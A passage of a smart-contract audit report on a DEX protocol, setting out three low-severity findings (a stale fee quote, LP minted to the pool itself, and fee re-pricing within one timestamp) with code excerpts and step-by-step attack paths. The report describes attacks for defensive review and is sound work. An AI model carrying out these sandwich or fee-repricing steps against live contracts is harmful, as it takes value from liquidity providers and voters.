2 _fee = getBaseFee(_pool, _sender, _amount0In, _amount1In, _reserve0, _reserve1);

3 address _mevTaxModule = mevTaxModule;

4 if (_mevTaxModule == address(0)) return (_fee, 0, false);

5 ...

6 _mevFee = FixedPointMathLib.divUp(_dataTax, 100);

7 _fee += _mevFee;

```

Pinned by the protocol's own test, `PoolFactory.t.sol:890`: `assertEq(_fee, DEFAULT_FEE() + (tax + 99) / 100)`.

`swap` resolves the fee through `_getSwapFee` (`Pool.sol:174`), carves `amountIn * (base + mev) / 10_000` out via `_update0/_update1` (the fee physically leaves the pool at `Pool.sol:317`), re-reads balances, and checks the invariant on what remains: `if (_k(_balance0, _balance1) < _k(_reserve0, _reserve1)) revert K();` (`Pool.sol:192-195`). An output sized from the base-fee quote leaves too little input behind the curve, so `K()` fires.

`MEV_TAX_CAP` is `100_000` pips (`PriorityFeeMevTaxModule.sol:23`) and `getFee` converts pips to bps with `divUp(pips, 100)`, so the MEV share reaches `1000 bps = 10%`. That `divUp` also means there is no gradual onset: a single wei of priority fee above the threshold yields 1 pip (`getMevTax.t.sol:172-185`), which rounds up to a full basis point — already enough to make the quote unexecutable for any non-dust trade.

Worked example. USDC(6)/WETH(18) volatile pool, reserves `1_000_000e6` and `500e18`, `amountIn = 1000e6`, base 10 bps, MEV 90 bps (exact integer arithmetic):

```

1 Q_base = getAmountOut           = 499_001_497_503_993_510 ~ 0.4990150 WETH

```

```

2  Q_total = getAmountOutWithTotalFee = 494_510_434_669_677_019 ~ 0.4945104 WETH (gap
    0.900010 %)

3  Executing Q_base under the total fee: k_after = 4.999955e32 < k_before = 5.0e32 -> revert
    K()

```

At the production volatile default (30 bps base) the gap is 0.0100 % at 1 bp of MEV, 0.2505 % at 25 bps, 2.5051 % at 250 bps and 10.0211 % at the cap — and `K()` reverts in every one of those cases. Only sub-dust inputs survive on integer flooring.

Three signals that this is an oversight rather than a deliberate context-free reference price:

1. The CL side implements the mirror correctly. `DynamicSwapFeeHook.getBeforeSwapFee` (L412-413) adds `_mevFee` exactly as the executed `beforeSwap` does (L308-312), and `CLPool.beforeSwapFee` (L190-195) routes the view accessor through the same hook. The V2 accessor is the only quote surface in the protocol that cannot reflect the executed fee.
2. The total-fee reads were bolted on later and the old ones left untouched — `IV2Pool.sol:7-9` records them as "introduced in PR #407". Neither `IPool.sol` `NatSpec` nor `audit.md` deprecates the base-fee accessors or warns that they exclude the MEV tax.
3. The unit tests structurally cannot catch it. `swap.t.sol:534-553` mocks `getBaseFee -> fee` and `getFee -> (fee, mevFee, toxic)`, making base and total fee identical — true in production only when `mevFee == 0`. Both quote suites hard-code `mevFee = 0`, and `StableGetAmountBase._assertSwapPreservesK` re-uses the quote's own fee for the invariant assertion, making that check tautological.

Latent, dormant axis. The quote binds `address(0)` as the fee-module caller while execution binds `msg.sender` (`Pool.sol:542` vs `Pool.sol:396`), and `setFeeModule` (`PoolFactory.sol:195-203`) validates only `IFeeModule(_feeModule).factory() == address(this)`. `CustomFeeModule.getFee` ignores the caller (`CustomFeeModule.sol:34`), so this is inert today; a caller-sensitive module would make the divergence unconditional.

Attack Path

There is no attacker; this is an integration failure with exactly two terminations.

1. An off-repo integrator calls `Pool.getAmountOut(amountIn, tokenIn)` (or the 4-arg overload) on a metadex V2 pool whose factory has a MEV-tax module set, and receives `Q_base`.
2. It executes in a block where its own transaction's priority fee exceeds `max(baseFeeFactor * block.basefee, minThreshold)`, so `getMevTax()` returns a nonzero tax and `getFee` returns `base + mev`.
3. Direct `Pool.swap`: the caller names the output, so the pool transfers exactly `Q_base` optimistically (`Pool.sol:157-158`), carves the total fee, and fails the invariant at `Pool.sol:195`. The whole transaction reverts with `K()` — nothing received, nothing over-withdrawn, only gas consumed.

4. Routed through the Metarouter: the router computes the output itself with `getAmountOutWithTotalFee` (Metarouter.sol:597) and the pool swap succeeds. A `minAmountOut` taken from `Q_base` reverts `TooLittleReceived` (Metarouter.sol:610-611); with a permissive bound the caller receives `Q_total` — the correct amount, which is less than the stale quote promised.

5. Outcome: gas burned on reverted attempts, or a sizing decision made against a number up to 10% too high.

Explicitly not part of the path: `Pool.swap` never short-fills. The caller specifies `amount0Out/amount1Out` and receives exactly that or the transaction reverts. There is no state in which a swapper silently receives less because of an unaccounted MEV fee — the fee charged is the fee the protocol intends to charge, keyed to the swapper's own `tx.gasprice`, and it accrues to LPs.

Likelihood (low)

Four conditions must hold; two are unconfigured governance switches and one fails outright.

A metadex V2 pool must exist. Not satisfied at this commit (deployment-addresses/ holds only `.gitkeep`; the chain deploy params are all-address(0) placeholders). Realistic pre-launch.

`PoolFactory.mevTaxModule` must be nonzero. `feeManager-only` (PoolFactory.sol:232-238).

`DeployPoolsFixture._setFactoryModulesAndRoles` (L260-268) wires the pool tape, discount registry and fee module — and nothing else. Stronger: a repo-wide grep for `PriorityFeeMevTaxModule` outside `test/` returns only the contract's own source. There is no deployment script for the module anywhere, its reference parameters exist solely in `PriorityFeeMevTaxModule.t.sol:12-14`, and `MEV_TAX_CAP` still carries a `// TODO: Revisit this value`. `audit.md:13-17` only carves Celo out; it does not schedule deployment.

A consumer must call the defective accessor — none exists in the codebase. An exhaustive sweep found:

- Every `IPool(...)` call site in `V3/src` resolves to `token0/token1/tokens/metadata/getReserves/initialize/mint/burn/swap/claimFees/pendingFees`, plus `getAmountOutWithTotalFee` (Metarouter.sol:597) and `getAmountInWithTotalFee` (Metarouter.sol:643). Zero `getAmountOut` calls.
- No hardcoded selectors: `f140a35a` / `119c4e9f` appear in no `.sol` or `.ts` source.
- No arbitrary-call surface: the Metarouter command set is 31 typed operations with no generic `CALL` (`EXECUTE_SUB_PLAN` re-enters the router itself), and no `call/staticcall` in `V3/src` targets a pool with caller-supplied `calldata`.
- Relay entrypoints do no on-chain quoting: `BaseEntrypoint._pullSwapAndValidate` (L51-77) drives an approved MetaRouter's `execute()` and validates by balance delta against a keeper-supplied `minAmountOut`.
- `MixedRouteQuoterV1/V2/V3` cannot reach these pools. They call `IPoolFactory(factoryV2).getPool(token0, token1, stable)` — selector

`getPool(address,address,bool)`. `metadex` factories expose only `getPool(address,address)` (`PoolFactory.sol:138-140`) and have no fallback, so such a call would revert, not over-quote. `script/constants/Optimism.json` sets `factoryV2 = 0xF1046053aa5682b4F9a81b5481394DA16BE5FF5a`, and the ABI the tests bind to it (`test/periphery/shared/abis/V2Factory.json: velo(), veloV2(), sinkConverter(), getFee(address,bool)`) is the legacy Velodrome V2 factory, whose pools use the same fee for `getAmountOut` and `swap` and have no MEV module at all.

The residual exposure is entirely outside both repositories: third-party integrators using the canonical Solidly `getAmountOut(uint256,address)` ABI, and — the most plausible in-protocol channel — relay keepers that build `minAmountOut` off-chain, whose source is not vendored here. Reasonable to expect, but not demonstrable from this codebase.

The transaction must tip above the threshold. Realistic during congestion, trivially self-inflicted by searchers, and the bar is one wei. No privileged role is needed and no attacker can impose it on a victim: `getMevTax` reads only the caller's own `tx.gasprice`. A default `eth_call` (gas price 0) returns `(0, false)` at `PriorityFeeMevTaxModule.sol:92`, so the divergence is invisible to naive quoting even where it applies.

Impact (low)

Two outcomes, both leaving protocol state and balances untouched.

Wasted gas on reverted transactions. A swap sized from the base-fee quote fails at `Pool.sol:195` (direct) or `Metarouter.sol:611` (routed); every write, including the optimistic output transfer and the fee transfer, is rolled back.

A stale public price surface. Integrators see a number up to 10.02% above executable (0.25%–2.5% for typical tips, 0.01% at the minimum tax). For margin-sensitive strategies sized off it, the gap can flip an expected profit into a loss — a bad decision, not a transfer. The protocol also publishes two mutually inconsistent V2 prices for the same pool.

What does not happen, verified:

- No fund loss or reserve drain. `mevFee >= 0` makes the error strictly one-directional, and `Pool.sol:195` converts an over-quote into a revert. No direction exists in which the quote permits an over-withdrawal.
- No short-fill at the pool. `swap` is the low-level V2 entry point: the caller names the output and gets exactly it (`Pool.sol:157-158`) or reverts. Under-delivery is unreachable.
- No overcharge. The MEV fee charged is the fee the protocol intends to charge; a user tipping below the threshold pays nothing.
- No adversarial profit. The whole fee, MEV share included, goes to LPs — `_update0/_update1` (`Pool.sol:314-335`) transfer it to `PoolFees` and fold it into `index0/index1`, claimed pro-rata or by the gauge (`V2Gauge.sol:94`). `PoolTape.record` only accumulates `mevFee0/1` for analytics. `tx.gasprice` is per-transaction, so the tax cannot be imposed on a third party.

- No liveness impact. Correctly-sized swaps, mints, burns, skims and syncs are unaffected.

With a likelihood gated on two unconfigured switches and zero demonstrable consumers, this is best characterised as a low-severity API-hygiene / integration-hazard defect rather than a griefing or fund-loss issue. It is nonetheless a genuine bug — the CL mirror at `DynamicSwapFeeHook.sol:412-413` establishes the intended invariant — and the fix is one line: route both `getAmountOut` overloads through `_getSwapFee`, or deprecate them with an explicit NatSpec warning plus an `audit.md` entry mirroring the one already written for the `Metaquoter` (`Metaquoter.sol:25-27`).

Pool.mint Accepts the Pool as LP Recipient, Permanently Stranding the Caller's Own Fee Share

Location	—
----------	---

Summary

The pool apportions every swap fee across all of `totalSupply()`, including LP held by addresses that structurally cannot claim. `Pool.mint(address to)` does not constrain `to`, so any unprivileged EOA can mint LP to the pool's own address on a factory-registered pool, after which a pro-rata slice of every fee accrued while that LP is held becomes permanently unclaimable in the `PoolFees` escrow. `claimable[pool]` is genuinely unreachable: no caller can name the pool as the fee account, `PoolFees` has no rescue, and pools are non-upgradeable clones.

The loss falls entirely on whoever funded that LP. Honest LPs are diluted by exactly what a same-sized legitimate deposit would cost them, the pool-held principal is seizable by anyone through the permissionless `burn`, and the same mechanism already exists deliberately for the `MINIMUM_LIQUIDITY` locked at `address(1)`. This is a missing defense-in-depth guard on a primitive documented as router-only, not an exploitable vulnerability.

Description

Fees move to the escrow and fold into the global index in one call (`metadex/V3/src/pools/`

`Pool.sol:313-323`):

SOLIDITY

```

1  function _update0(uint256 amount) internal {
2      if (amount == 0) return;
3      IERC20(token0).safeTransfer(poolFees, amount); // transfer the fees out to PoolFees
4      uint256 _ratio = (amount * 1e18) / totalSupply(); // 1e18 adjustment is removed during
    claim
5      if (_ratio > 0) { index0 += _ratio; }
6      emit Fees(msg.sender, amount, 0);
7  }
```

`_updateFor` (`Pool.sol:339-362`) realises each holder's entitlement as `claimable[a] += balanceOf(a) * (index - supplyIndex[a]) / 1e18`, with no `recipient == address(this)` exclusion, and the ERC20 `_update` override (`Pool.sol:438-442`) runs it before every balance move.

No consumption path for `claimable[pool].claimFees(address)` claims `msg.sender`'s own fees; `claimFees(address,address)` requires `msg.sender == _account` or `approvedForClaim[_account][msg.sender]`, and `approveForClaim(Pool.sol:107-111)` keys on `msg.sender`, so only the pool could authorise an operator for itself. It never does: the pool's only outbound calls are token transfers, factory reads, `PoolFees.claimFeesFor` and `IPoolCallee(to).hook`, and a re-entering token or factory arrives as itself, not as the pool. `hook` is unimplemented repo-wide and `Pool` has no fallback or `receive`, so a self-hook reverts; `nonReentrant` blocks it anyway. `V2Gauge.collectFees(V2Gauge.sol:94)` uses the one-argument form and `ClaimsLib.claimV2PoolFees(ClaimsLib.sol:105)` fixes `_account` to the logical sender. `PoolFees` exposes one function gated to the bonded pool with no rescue, pools are EIP-1167 clones (`PoolFactory.sol:286`) with no upgrade path, and `Pool.skim` moves only the pool's own surplus above reserves.

Anyone can make the pool hold LP, since `mint` does not constrain the recipient (`Pool.sol:246, _mint(to, liquidity)`); `OpenZeppelin v5 _mint` rejects only `address(0)`. `LiquidityLib.addLiquidity` is a second route, checking only `recipient != 0`. `IPool.sol:149` documents `mint` as a low-level primitive that "should be called by `addLiquidity` functions in `Router.sol`, which performs important safety checks."

The root cause is the denominator, not `_updateFor`. The loss completes at `_update0/_update1`, where the tokens leave for the escrow and the index is divided by a `totalSupply()` including non-claiming holders. Whether `_updateFor(pool)` ever settles the credit is irrelevant, and `Pool.sol:239` proves it: `_MINIMUM_LIQUIDITY` is minted to `address(1)` permanently, that balance never changes again, so `claimable0[address(1)]` stays zero forever — yet its `1000 / totalSupply()` slice of every fee is still stranded for the pool's entire life, deliberately, per the inline comment.

Pool-held LP is not locked; it is the most redeemable state in the contract. `burn` takes no amount and pulls from nobody, consuming the pool's whole self-balance (`Pool.sol:210,216`):

SOLIDITY

```
1  uint256 _liquidity = balanceOf(address(this));
2  ...
3  _burn(address(this), _liquidity);
4  IERC20(_token0).safeTransfer(to, amount0);
```

That is the V2 redeem pattern, used verbatim by `LiquidityLib.removeLiquidity` (`LiquidityLib.sol:119-120`). LP minted to the pool therefore sits in the same state as LP a user just pushed in to redeem, and anyone may call `burn(themselves)` on it. The principal is exposed from the moment the mint transaction lands — with mint and burn in separate transactions, anything can be sequenced between them within the same block — and it needs no adversary: an honest LP calling `removeLiquidity` in that window pushes their own LP, burns the pool's entire balance, exceeds their `amount0Min/amount1Min`, and the funder's principal leaves with them.

Honest LPs are not harmed beyond ordinary dilution. The fee is `amountIn * fee / _MAX_BPS` and the rate reads no reserve state (`PoolFactory.getBaseFee`, `CustomFeeModule.getFee`,

`PriorityFeeMevTaxModule.getMevTax`), so the same swap pays the same absolute fee whether or not liquidity was added. With honest LP H and pool-held P , honest LPs receive $f \cdot H / (H + P)$ whether P was minted to its funder or to the pool; only the counterfactual "the funder never deposited" yields f . The guard therefore changes nothing for honest LPs — it only decides whether the P slice is collected or destroyed. A party wanting to suppress honest LPs' fee income achieves the identical dilution by minting to themselves, and gets paid for it.

Provenance and design intent. `_update0`, `_update1`, `_updateFor`, `mint` and `burn` are character-for-character identical to Aerodrome's live production `Pool.sol`, including the absent `to != address(this)` guard and the `address(1)` lock; the one local change, zero-address guards in the `_update` override, is strictly safer. The single legitimate observation is a policy inconsistency: `metadex/audit.md` accepts analogous stranding for the Relay vaults under the criterion "the sender both errs and pays", but carves out mint paths — "The mint path is a different case and keeps its ban, because a deposit names a recipient that can be somebody else" — and bans the self-recipients there, while `Pool.mint` carries no such ban. The criterion is nonetheless satisfied, since permissionless `burn` prevents the loss from being redirected onto a third party.

Recommendation. Add `if (to == address(this)) revert InvalidTo();` to `Pool.mint` and `recipient != _pool` to `LiquidityLib.addLiquidity`, for robustness and consistency with the stated policy. Reasonably bundled with `V2Gauge.depositFor(amount, address(pool))`, which permanently locks both the staked LP and its emissions, and `burn`'s missing `InvalidTo`, which contradicts its own `NatSpec` at `IPool.sol:88-89`.

Attack Path

1. Caller transfers X of `token0` and Y of `token1` into a factory-registered pool.
2. Caller invokes `pool.mint(address(pool))`. The pool's LP balance becomes L and `_updateFor(pool)` takes the zero-balance branch, snapshotting `supplyIndex0/1[pool]`. The caller now holds no LP, and their capital backs pool-held LP that anyone may burn to themselves.
3. Subsequent swaps grow the indexes by $\text{fee} * 1e18 / \text{totalSupply}()$, where `totalSupply()` includes L . Honest LPs accrue H/S of each fee; the L/S share is assigned to the pool and is already unrecoverable at this point, before any settlement.
4. Any LP-token movement touching the pool's balance settles `claimable0/1[pool] += L * (index - supplyIndex[pool]) / 1e18`. Bookkeeping only: the escrow balance and every other holder's entitlement are unchanged.
5. `pool.burn(to)` — callable by anyone, `to` chosen by the caller — burns the pool's entire self-balance and sends the backing reserves to `to`. The funder recovers principal only by winning that race against every other participant, including honest LPs performing routine withdrawals. Terminal state:
`claimable0/1[pool]` is non-zero forever, no caller can name `address(pool)` as the fee account, and the tokens sit in `PoolFees` permanently.

Likelihood (low)

Reaching the state is trivial: permissionless, no privileged role, no user cooperation, no non-standard tokens, no timing window. The only prerequisite beyond caller capital is an active fee-bearing pool, which is the default (`setFee` rejects zero, though `CustomFeeModule.ZERO_FEE_INDICATOR` still permits a genuine 0% per pool).

Execution is unlikely because every mode is self-defeating. Acting entirely within one transaction removes the burn race but makes the caller supply the swap and therefore pay the fee, leaving honest LPs ahead. An atomic bundle around a third party's swap protects the principal and is the only coherent form, but the harm it causes honest LPs is identical to an ordinary just-in-time liquidity sandwich that pays its operator that same amount, so it is strictly dominated by an existing legal MEV play. Holding across blocks leaves the whole principal seizable for the entire window. Of the committed targets — Base (root), Ethereum and Optimism — the two OP Stack chains also offer no public mempool and no bundle market, so the bundle mode is realistically mainnet-only.

Impact (informational)

The stranded amount is $f_{\text{total}} * P / (P + H)$ over the hold window, permanently frozen in `PoolFees` with no claim, admin or upgrade path. With $H = 1000e18$ and $P = 1000e18$, a swap paying $0.03e18$ grows the index by $0.03e18 * 1e18 / 2000e18 = 1.5e13$, giving honest LPs $0.015e18$ claimable and leaving $0.015e18$ unclaimable. As an upper bound, a \$10M pool earning \$30k/day with 10% pool-held LP surviving ten minutes strands roughly \$20, at the cost of leaving roughly \$1.11M unprotected.

The destroyed value is the funder's own would-be fee share, so maximum extractable value is structurally zero and the harm-to-cost ratio is pinned at 1:1 against whoever performs it: stranding X requires forfeiting X , while honest LPs lose the identical amount to a same-sized legitimate deposit. LP principal, the fee rate earned, trading functionality and protocol funds are unaffected. Floor rounding in `_update0` and `_updateFor` keeps the sum of claims at or below the amount transferred, so the escrow is always over-collateralised and stranding only widens that buffer; no honest claim can revert. Gauge and voter accounting reads only the gauge's own pending fees, so the stranded balance never reaches the reward accumulators.

Because the mechanism is real and irreversible but causes no incremental third-party loss, yields nothing to its executor, and already exists intentionally in the same contract for the `address(1)` lock inherited from upstream, the appropriate classification is informational: a guard worth adding for robustness and policy consistency, not a security vulnerability.

FeeDistribution_notifyFeesAmount Unconditionally Stamps lastFeeUpdate Allowing Fee Repricing

Location	—
----------	---

Summary

`_notifyFeesAmount` writes `lastFeeUpdate = block.timestamp` on entry, ahead of three early returns that mutate nothing. A call that credits zero therefore consumes the once-per-timestamp notify gate. Because `checkpoint` credits pending fees before mutating weight — the protocol's only defense against weight-timing games — closing the gate with a zero-credit call and then raising a gauge allocation in the same timestamp defers that timestamp's fee accrual to a later credit, priced at the post-raise supply and paid at the post-raise user point. The mechanism is real and verified; the exploitable amount is one `block.timestamp` of one gauge's fee flow, and the only variant that transfers value from co-voters requires a same-timestamp sandwich around a third party's swap.

Description

Fees are credited as a discrete accumulator jump priced at the instantaneous supply (`FeeDistribution.sol:88-94`), with no time-weighting of the accrual itself. What makes the split fair is when the credit fires relative to weight changes, and that is enforced by the ordering in `checkpoint` (`VotingRewardsManager.sol:77-87`): notify first, mutate weight second. The gate at line 77 is the only thing that can skip it.

SOLIDITY

```

1  // FeeDistribution.sol:69-85

2  function _notifyFeesAmount(uint256 _pending0, uint256 _pending1) internal returns (uint256,
    uint256) {

3      lastFeeUpdate = block.timestamp;                                // L70:
    unconditional

4      uint256 _buffered0 = bufferedFees0;

5      uint256 _buffered1 = bufferedFees1;

6      if (_pending0 == 0 && _pending1 == 0) {

7          if (_buffered0 == 0 && _buffered1 == 0) return (0, 0);        // exit A: no
    state change

8          if (IGaugeFactory(gaugeFactory).emissionCap(gauge) == 0) return (0, 0); // exit B: no
    state change

```

SOLIDITY

```

9      }

10     uint256 _fees0 = _pending0 - lastPendingFees0 + _buffered0;

11     uint256 _fees1 = _pending1 - lastPendingFees1 + _buffered1;

12     if (_fees0 == 0 && _fees1 == 0) return (0, 0);           // exit C: no
                                                                    state change

```

Root cause: `lastFeeUpdate` is a state-change interlock written as an entry interlock. The invariant it exists to protect — at most one accumulator advance per timestamp, which lets the same-timestamp overwrite branch at `VotingRewardsManager.sol:406-408` skip re-snapshotting `feeRewardPerVotingPowerAt` — is fully preserved by moving line 70 below exits A, B and C, since every path that mutates `feeRewardPerVotingPower`, `lastPendingFees*` or `bufferedFees*` still stamps.

The natspec declares the write — "Updates `lastFeeUpdate` on entry, even if no fees are released" (`FeeDistribution.sol:63`) — but not its consequence, and the line above it states "Assumes at most one call per timestamp" (L62) as a property the contract relies on rather than one it enforces. A documented unconditional stamp is not a documented acceptance that a zero-credit call may consume the notify gate ahead of a same-timestamp weight change.

The gate can be closed with zero credit through `claimFees`: the collect branch at `VotingRewardsManager.sol:457` fires on any non-zero weight, `collectFees()` returns `(0,0)` when nothing is pending, and `_settleCollectedFees` (L501) takes the notify branch into `_notifyFeesAmount(0,0)`, which stamps and returns at exit A leaving `lastPendingFees*` at zero and writing no global checkpoint. A second deferral primitive exists at `VotingRewardsManager.sol:504`: once the gate is closed, a claim moves collected fees into `bufferedFees*` rather than crediting them, with the same effect. `advanceGlobalPoints` is not a usable closer — `epochNext` requires only an epoch-boundary crossing rather than a full week, but the call routes through `_notifyFeesAndAdvanceHistory` (L434), which credits pending fees.

`_checkAuthorized` (L673-676) passes for the `LeafVoter` or the token's registered operator. On the root chain no operator is needed at all: `Voter.claimRewards` (`onlyAuthorizedForToken`) reaches `LeafVoter.claimRewards` with `msg.sender == ORCHESTRATOR` (`LeafVoter.sol:344`), and the VRM then sees `msg.sender == voter`. The weight raise is likewise synchronous on root — `RootLocalAdapter.sol:39-50` is an in-process loopback, `Voter.sol:1718-1720` exempts `block.chainid` from the destination-gas requirement, and `applyGaugeAllocations` (L405-441) never reads `localVotingEnabled`, unlike the local `allocateGauges` path (L493). One wei of permanent VP satisfies the collect-branch gate (`LeafVoter.sol:1487-1489` returns `_perm = _allocated` unchanged for permanent stakes), so the weight-share delta can approach 1 and a dust position can capture nearly the whole batch.

The window is exactly one timestamp. Fees pending before the gate-close are collected and credited fairly by the gate-close itself; fees accruing after the raise are the attacker's legitimately; and the gate cannot be held open across timestamps, because every later notify runs before the next weight change. Sub-threshold

amounts ($_fees0 * PRECISION < totalSupply$, relevant for low-decimal fee tokens) route to `bufferedFees` and are deferred rather than dropped, so the threshold does not block the mechanism.

A distinct instance of the same root cause, worth separate review: `FeeDistribution.sol:77` returns early while `emissionCap(gauge) == 0`, and `pendingFees()/collectFees()` also return `(0,0)` in that state (`V2Gauge.sol:92/140`, `CLGauge.sol:142/157`). Buffered fees freeze and pool-side fees accumulate invisibly; a governance cap restoration then credits the whole backlog at the then-current supply — the same repricing over a governance-length window instead of one block.

Attack Path

1. Attacker holds a permanent veNFT with weight on the target gauge (1 wei suffices) and further re-allocatable budget, with the allocation cooldown elapsed since the prior gauge allocation.
2. Attacker closes the gate at timestamp `N` while the gauge has no pending fees, via `VotingRewardsManager.claimFees` as operator, or on root via `Voter.claimRewards` with no operator. `collectFees()` returns `(0,0)`, `_notifyFeesAmount(0,0)` stamps `lastFeeUpdate = N`, credits nothing and writes no checkpoint.
3. A third party's fee-generating swap lands at timestamp `N`, after the gate-close. `Pool._update0` advances `index0` synchronously, so `pendingFees(gauge)` immediately reports `F`.
4. Attacker raises the allocation at timestamp `N` — on root through `Voter.allocateGauges` → `RootLocalAdapter` → `applyGaugeAllocations` → `VotingRewardsManager.checkpoint`, atomic and gas-free. `lastFeeUpdate == N`, so the notify is skipped and `F` stays uncredited. A user point `{permanent: w_hi, ts: N}` and a global checkpoint at supply `S_lo + w_hi - w_lo` are written.
5. In a later block, `claimFees` pulls `F` into the VRM and credits $F * PRECISION / S_{hi}$ at the post-raise supply. `computeFeeRewards` prices the new span with the inflated user point (`RewardsLogicLibrary.sol:480-485`), paying the attacker w_{hi}/S_{hi} of `F` and co-voters the remainder.

The attacker funding the swap themselves at step 3 is not an attack: recovery is $[\lambda(1-g) + share_{hi} \cdot g] \cdot F_{total} < F_{total}$ for every parameter choice, so the variant is net-negative — with a 100-unit fee and a 90.9% share, the attacker pays 100 to receive 90.909. Co-voters also end up better off than the no-swap baseline, since the attacker is funding the batch.

Likelihood (low)

The gate-close must front-run the third party's swap and the raise must back-run it, both inside one `block.timestamp` — a sandwich, not a back-run. A gate-close placed after the swap collects `F` and credits it fairly at the pre-raise supply (`VotingRewardsManager.sol:508-510`). The root chain is Base, whose sequencer exposes no public pending-transaction mempool, so there is no channel to observe the victim's swap in time to front-run it. Free-riding a gate-close made by another transaction in the same block is no better: it requires reacting to a block's contents before the block is built, leaving only speculative raises that each burn a

cooldown and permanently reposition the attacker's voting power.

Capital is a qualification rather than a cost, and a steep one. Capture is $F \cdot w_{hi} / (S_{lo} + w_{hi})$, so the attacker must bring voting power on the order of the gauge's entire existing vote weight — $w = S$ buys 50% of the batch, $w = 9S$ buys 90% — and gain per dollar locked, $F / (S_{lo} + w_{hi})$, falls as capital rises. For a pool routing roughly \$200k/yr to voters at a 15% vote APR, $S \approx \$1.3M$: matching it captures about \$200 from a block containing a \$1M swap, and about \$0.006 from an average 2-second block. Repetition is bounded by a raise-then-lower cycle of two cooldowns per tokenId per chain (LeafVoter.sol:437/545, _consumeCooldownReduction L841-853), with maxAccumulatedCooldownReduction defaulting to zero so reduceCooldown is off until governance opts in. No production allocationCooldown is committed; fixtures use one hour and one day, giving between roughly 4,380 and 182 cycles per year before any sandwich hit rate is applied. The set of parties able to run this profitably is a handful of large veNFT holders already voting on the target gauge — precisely those with the most position value at risk and the least to gain.

The one variant free of ordering constraints: a trader or arbitrageur already holding large weight on the gauge and already swapping that pool wraps their own intended swap in gate-close → swap → raise, one atomic root transaction, no operator, no localVotingEnabled, no mempool access. Their fee is sunk, so the clawback is marginal gain and co-voters lose against the honest-trader counterfactual — still bounded by one block and the cooldown.

Impact (low)

Pure redistribution among voters of one timestamp's fee batch on one gauge. Payout is conservation-preserving — $\lfloor \text{floor}(w_i \cdot \text{acc} / \text{PRECISION}) \rfloor \leq S \cdot \text{floor}(F \cdot \text{PRECISION} / S) / \text{PRECISION} \leq F$ — so the VRM never pays out more than collectFees() delivered; LP reserves sit segregated in PoolFees, and emissions, treasury and swap functionality are untouched. The mis-split is irreversible once credited, since the accumulator is monotonic and never re-priced.

Victims have no on-chain defense inside the window: all three lastFeeUpdate readers gate on `!= block.timestamp`, a same-timestamp claimFees only moves fees into bufferedFees* (L504), flushFees is gaugeFactory-only, and advanceGlobalPoints is doubly gated. The per-event ceiling is the full batch rather than the weight-share delta alone, since a dust starting position drives $w_{lo}/S_{lo} \rightarrow 0$. In dollar terms that ceiling is a few hundred dollars against a seven-figure locked position, once per cooldown pair, and only when a sandwich lands.

The finding stands as a verified one-line logic defect that defeats a deliberate safeguard, evidenced by the repo's own passing test at `test/unit/concrete/rewards/VotingRewardsManager/checkpoint/_notifyFeesAmount/_notifyFeesAmount.t.sol:27-47`, which demonstrates the same-timestamp skip. Absent a plausible profitable exploit path, it warrants low/informational severity, with the one-line placement fix described above.